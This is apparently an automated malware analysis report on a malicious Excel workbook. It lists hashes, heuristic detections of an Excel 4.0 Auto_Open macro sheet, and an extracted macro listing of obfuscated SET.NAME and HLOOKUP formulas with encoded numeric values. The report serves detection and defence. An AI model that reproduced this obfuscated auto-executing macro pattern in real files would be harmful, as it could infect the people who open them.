Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 4fa8fa0b7fdd8dd6…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:42:45 Authoring application: Microsoft Excel First seen: 2021-02-09
MD5: eefacd50b147409953a7c9b114551962 SHA-1: 2310ed07ded2adc46c7606262e17b18a097e21c3 SHA-256: 4fa8fa0b7fdd8dd6a9248ed5826f280144b260c898c6769ae581dbe31504951d
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6727 bytes
SHA-256: 4a9291a652ad6a6b9ebef77530e7562f5a0e351ca37864d71192834eef36056d
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     16 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  OggGsZG
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!B162 
' 0018     23 LABEL : Cell Value, String Constant - EfhULqod len=0 
' 0018     21 LABEL : Cell Value, String Constant - elhNwJ len=0 
' 0018     24 LABEL : Cell Value, String Constant - EYzIfnTWD len=0 
' 0018     25 LABEL : Cell Value, String Constant - GlFNlAaDIf len=0 
' 0018     23 LABEL : Cell Value, String Constant - iiDQRbRW len=0 
' 0018     20 LABEL : Cell Value, String Constant - jRXlq len=0 
' 0018     26 LABEL : Cell Value, String Constant - kAKQzilSFKo len=0 
' 0018     26 LABEL : Cell Value, String Constant - KfUzXvkhyYi len=0 
' 0018     27 LABEL : Cell Value, String Constant - ntYlzvsfLlVb len=0 
' 0018     23 LABEL : Cell Value, String Constant - OOTogQYm len=0 
' 0018     26 LABEL : Cell Value, String Constant - PzQNVrbgJOS len=0 
' 0018     21 LABEL : Cell Value, String Constant - RcTcUi len=0 
' 0018     20 LABEL : Cell Value, String Constant - RfGgj len=0 
' 0018     22 LABEL : Cell Value, String Constant - RhUDftV len=0 
' 0018     27 LABEL : Cell Value, String Constant - rILHopovalYe len=0 
' 0018     27 LABEL : Cell Value, String Constant - RwJpxGfsiLzj len=0 
' 0018     24 LABEL : Cell Value, String Constant - sPckMSAuh len=0 
' 0018     22 LABEL : Cell Value, String Constant - TBHsZgL len=0 
' 0018     24 LABEL : Cell Value, String Constant - TnYujCydd len=0 
' 0018     21 LABEL : Cell Value, String Constant - ZBbcfp len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  OggGsZG,Q58,"",-462.00000000000000000000
'  OggGsZG,Q59,"",-853.00000000000000000000
'  OggGsZG,Q60,"",-276.00000000000000000000
'  OggGsZG,Q61,"",19.00000000000000000000
'  OggGsZG,Q62,"",719.00000000000000000000
'  OggGsZG,Q63,"",-158.00000000000000000000
'  OggGsZG,B70,"SET.NAME("KfUzXvkhyYi",0+VALUE("0"))",""
'  OggGsZG,B75,"SET.NAME("rILHopovalYe",KfUzXvkhyYi)",""
'  OggGsZG,B78,"SET.NAME("EfhULqod",KfUzXvkhyYi)",""
'  OggGsZG,B83,"SET.NAME("RfGgj",COUNTA(jRXlq))",""
'  OggGsZG,B86,"SET.NAME("ntYlzvsfLlVb",COUNTA(RwJpxGfsiLzj))",""
'  OggGsZG,B88,[],""
'  OggGsZG,B91,"SET.NAME("RcTcUi","")",""
'  OggGsZG,B93,"rILHopovalYe",""
'  OggGsZG,B98,"SET.NAME("PzQNVrbgJOS",HLOOKUP("*",jRXlq,rILHopovalYe,FALSE))",""
'  OggGsZG,B101,"ZBbcfp",""
'  OggGsZG,B104,"SET.NAME("TnYujCydd",KfUzXvkhyYi)",""
'  OggGsZG,B109,[],""
'  OggGsZG,B113,"TnYujCydd",""
'  OggGsZG,B118,"EYzIfnTWD",""
'  OggGsZG,B121,"GlFNlAaDIf",""
'  OggGsZG,B123,"OOTogQYm",""
'  OggGsZG,B125,"SET.NAME("iiDQRbRW",VALUE(HLOOKUP("*",RwJpxGfsiLzj,OOTogQYm,FALSE)))",""
'  OggGsZG,B129,"sPckMSAuh",""
'  OggGsZG,B133,"RcTcUi",""
'  OggGsZG,B137,"EfhULqod",""
'  OggGsZG,B139,NEXT(),""
'  OggGsZG,B142,"elhNwJ",""
'  OggGsZG,B144,[],""
'  OggGsZG,B149,"TBHsZgL",""
'  OggGsZG,B153,NEXT(),""
'  OggGsZG,B157,RETURN(),""
'  OggGsZG,B187,"SET.NAME("kAKQzilSFKo",B70)",""
'  OggGsZG,B192,"jRXlq",""
'  OggGsZG,B194,"SET.NAME("RwJpxGfsiLzj",R53C14)",""
'  OggGsZG,B198,"SET.NAME("TBHsZgL",203)",""
'  OggGsZG,B200,"SET.NAME("RhUDftV",2)",""
'  OggGsZG,B202,kAKQzilSFKo(),""
'  OggGsZG,B203,HALT(),""

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